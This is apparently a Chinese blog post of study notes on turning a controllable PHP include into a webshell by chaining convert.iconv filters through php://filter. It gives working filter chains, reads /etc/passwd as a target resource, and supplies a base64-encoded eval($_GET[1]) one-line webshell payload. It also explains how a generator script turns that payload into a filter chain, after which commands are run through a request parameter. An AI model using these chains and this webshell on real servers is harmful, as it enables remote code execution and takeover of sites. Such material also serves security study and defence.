iconv文件包含
convert.iconv filter学习
使用php://filter将任意文件转换成Webshell
前提:include可控,支持php://filter伪协议和convert.iconv
(1)一些常见的过滤器就不在这里提起了,这里主要是利用各种convert.iconv的 Filter来转换字符集,从而将其转换成webshell
在php中,任何的 string 如果被允许了,就一定会在最前面回显,这将方便我们来利用这些字符
例如:
php://filter/convert.iconv.UTF8.CSISO2022KR/resource=/etc/passwd

convert.iconv.UTF8.CSISO2022KR` 是个特殊的filter,它总是会在字符串前面生成 \x1b$)C
(2)利用base64“宽松的解析”可以使我们提取出一些常见的字符(在base64 filter中,只有A-Za-z0-9\/\=\+是能被接受,其他不被接受的字符就会自动被忽略),例如:
<?php
$a = "\x1b$)cq==";
var_dump(base64_decode($a));
//cq 为 r 的 base64 编码
// string(1) "r"

需要注意的是Windows下没有CSISO2022KR这一编码
而通过各种convert.iconv的组合搭配可以构造产生自己想要的内容
例如:iconv -l

一、比如字符8,我们可以使用convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2 来生成
var_dump(file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2/resource=data://,aaaaaaaaaaaaaaaa"));

二、上面的data://,aaaaaaaaaaaaaaaa的aaaaaaaaaaaaaaaa就是所包含文件的内容
效果和下面一样(1.php的内容是aaaaaaaaaaaaaaaa)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2/resource=1.php
之后我们就可以根据文本内容慢慢fuzz出我们想要的字符串了,当构造出一句话木马时,就可以将其包含进去,再传对应的参去执行命令就可以了
(1)那问题来了,万一可包含的文件内容是空的怎么办,没有字符让我们利用了吗?
别忘了开头所说的convert.iconv.UTF8.CSISO2022KR ,它总是会在字符串前面生成 \x1b$)C,相当于白给了我们这些字符\x1b$)C
所以只要它支持convert.iconv.UTF8.CSISO2022KR,即便文件内容为空,我们也可以构造出webshell出来
由于一些字符编码长度原因,可能会吞掉了一些字符,但这影响不大,因为前面的才是我们所要构造的字符
如何fuzz出webshell的字符串?
工具:PHP_INCLUDE_TO_SHELL_CHAR_DICT
tets.py:
file_to_use = "/etc/passwd" //将"/etc/passwd"改成实际环境中可以包含的文件
# <?php eval($_GET[1]);?>a
base64_payload = "PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h" //这里就是你包含的内容的base64编码
其他的不用管
然后运行就能生成payload了
那它生成的paylaod包含环境不支持的编码方式,就需要自己去fuzzer.php文件fuzz出自己的payload了
某些字符集在某些系统并不支持,比如Ubuntu18.04,幸运的是,php官方带apache的镜像是Debain,运行上面的脚本没有任何问题
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627508

浙公网安备 33010602011771号